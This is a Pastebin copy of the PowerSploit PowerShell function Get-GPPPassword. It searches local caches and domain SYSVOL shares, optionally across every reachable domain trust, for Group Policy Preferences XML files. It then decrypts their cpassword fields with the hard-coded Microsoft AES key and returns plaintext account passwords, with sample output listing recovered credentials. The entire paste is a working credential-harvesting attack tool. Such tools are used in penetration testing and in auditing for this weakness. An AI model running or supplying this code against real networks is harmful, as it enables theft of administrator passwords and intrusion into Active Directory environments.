Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function Get-GPPPassword {
- <#
- .SYNOPSIS
- Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
- PowerSploit Function: Get-GPPPassword
- Author: Chris Campbell (@obscuresec)
- License: BSD 3-Clause
- Required Dependencies: None
- Optional Dependencies: None
- .DESCRIPTION
- Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
- .PARAMETER Server
- Specify the domain controller to search for.
- Default's to the users current domain
- .PARAMETER SearchForest
- Map all reaschable trusts and search all reachable SYSVOLs.
- .EXAMPLE
- Get-GPPPassword
- NewName : [BLANK]
- Changed : {2014-02-21 05:28:53}
- Passwords : {password12}
- UserNames : {test1}
- File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
- NewName : {mspresenters}
- Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
- Passwords : {Recycling*3ftw!, password123, password1234}
- UserNames : {Administrator (built-in), DummyAccount, dummy2}
- File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
- NewName : [BLANK]
- Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
- Passwords : {password, password1234$}
- UserNames : {administrator, admin}
- File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
- NewName : [BLANK]
- Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
- Passwords : {password, read123}
- UserNames : {DEMO\Administrator, admin}
- File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
- .EXAMPLE
- Get-GPPPassword -Server EXAMPLE.COM
- NewName : [BLANK]
- Changed : {2014-02-21 05:28:53}
- Passwords : {password12}
- UserNames : {test1}
- File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
- NewName : {mspresenters}
- Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
- Passwords : {Recycling*3ftw!, password123, password1234}
- UserNames : {Administrator (built-in), DummyAccount, dummy2}
- File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
- .EXAMPLE
- Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
- password
- password12
- password123
- password1234
- password1234$
- read123
- Recycling*3ftw!
- .LINK
- http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
- https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
- http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
- http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
- #>
- [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
- [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
- [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
- [CmdletBinding()]
- Param (
- [ValidateNotNullOrEmpty()]
- [String]
- $Server = $Env:USERDNSDOMAIN,
- [Switch]
- $SearchForest
- )
- # define helper function that decodes and decrypts password
- function Get-DecryptedCpassword {
- [CmdletBinding()]
- Param (
- [string] $Cpassword
- )
- try {
- #Append appropriate padding based on string length
- $Mod = ($Cpassword.length % 4)
- switch ($Mod) {
- '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
- '2' {$Cpassword += ('=' * (4 - $Mod))}
- '3' {$Cpassword += ('=' * (4 - $Mod))}
- }
- $Base64Decoded = [Convert]::FromBase64String($Cpassword)
- # Make sure System.Core is loaded
- [System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null
- #Create a new AES .NET Crypto Object
- $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
- [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
- 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
- #Set IV to all nulls to prevent dynamic generation of IV value
- $AesIV = New-Object Byte[]($AesObject.IV.Length)
- $AesObject.IV = $AesIV
- $AesObject.Key = $AesKey
- $DecryptorObject = $AesObject.CreateDecryptor()
- [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
- return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
- }
- catch { Write-Error $Error[0] }
- }
- # helper function to parse fields from xml files
- function Get-GPPInnerField {
- [CmdletBinding()]
- Param (
- $File
- )
- try {
- $Filename = Split-Path $File -Leaf
- [xml] $Xml = Get-Content ($File)
- # check for the cpassword field
- if ($Xml.innerxml -match 'cpassword') {
- $Xml.GetElementsByTagName('Properties') | ForEach-Object {
- if ($_.cpassword) {
- $Cpassword = $_.cpassword
- if ($Cpassword -and ($Cpassword -ne '')) {
- $DecryptedPassword = Get-DecryptedCpassword $Cpassword
- $Password = $DecryptedPassword
- Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'"
- }
- if ($_.newName) {
- $NewName = $_.newName
- }
- if ($_.userName) {
- $UserName = $_.userName
- }
- elseif ($_.accountName) {
- $UserName = $_.accountName
- }
- elseif ($_.runAs) {
- $UserName = $_.runAs
- }
- try {
- $Changed = $_.ParentNode.changed
- }
- catch {
- Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'"
- }
- try {
- $NodeName = $_.ParentNode.ParentNode.LocalName
- }
- catch {
- Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'"
- }
- if (!($Password)) {$Password = '[BLANK]'}
- if (!($UserName)) {$UserName = '[BLANK]'}
- if (!($Changed)) {$Changed = '[BLANK]'}
- if (!($NewName)) {$NewName = '[BLANK]'}
- $GPPPassword = New-Object PSObject
- $GPPPassword | Add-Member Noteproperty 'UserName' $UserName
- $GPPPassword | Add-Member Noteproperty 'NewName' $NewName
- $GPPPassword | Add-Member Noteproperty 'Password' $Password
- $GPPPassword | Add-Member Noteproperty 'Changed' $Changed
- $GPPPassword | Add-Member Noteproperty 'File' $File
- $GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName
- $GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword
- $GPPPassword
- }
- }
- }
- }
- catch {
- Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_"
- }
- }
- # helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain
- function Get-DomainTrust {
- [CmdletBinding()]
- Param (
- $Domain
- )
- if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) {
- try {
- $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
- $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
- if ($DomainObject) {
- $DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
- }
- }
- catch {
- Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_"
- }
- try {
- $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain)
- $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
- if ($ForestObject) {
- $ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
- }
- }
- catch {
- Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_"
- }
- }
- }
- # helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain
- function Get-DomainTrustMapping {
- [CmdletBinding()]
- Param ()
- # keep track of domains seen so we don't hit infinite recursion
- $SeenDomains = @{}
- # our domain stack tracker
- $Domains = New-Object System.Collections.Stack
- try {
- $CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
- $CurrentDomain
- }
- catch {
- Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_"
- }
- if ($CurrentDomain -and $CurrentDomain -ne '') {
- $Domains.Push($CurrentDomain)
- while($Domains.Count -ne 0) {
- $Domain = $Domains.Pop()
- # if we haven't seen this domain before
- if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
- Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
- # mark it as seen in our list
- $Null = $SeenDomains.Add($Domain, '')
- try {
- # get all the domain/forest trusts for this domain
- Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object {
- # only output if we haven't already seen this domain and if it's pingable
- if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) {
- $Null = $Domains.Push($_)
- $_
- }
- }
- }
- catch {
- Write-Verbose "[Get-DomainTrustMapping] Error: $_"
- }
- }
- }
- }
- }
- try {
- $XMLFiles = @()
- $Domains = @()
- $AllUsers = $Env:ALLUSERSPROFILE
- if (-not $AllUsers) {
- $AllUsers = 'C:\ProgramData'
- }
- # discover any locally cached GPP .xml files
- Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
- $XMLFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
- if ($SearchForest) {
- Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
- $Domains += Get-DomainTrustMapping
- }
- else {
- if ($Server) {
- $Domains += , $Server
- }
- else {
- # in case we're in a SYSTEM context
- $Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
- }
- }
- $Domains = $Domains | Where-Object {$_} | Sort-Object -Unique
- ForEach ($Domain in $Domains) {
- # discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory
- Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while."
- $DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')
- if($DomainXMLFiles) {
- $XMLFiles += $DomainXMLFiles
- }
- }
- if ( -not $XMLFiles ) { throw '[Get-GPPPassword] No preference files found.' }
- Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
- ForEach ($File in $XMLFiles) {
- $Result = (Get-GppInnerField $File.Fullname)
- $Result
- }
- }
- catch { Write-Error $Error[0] }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement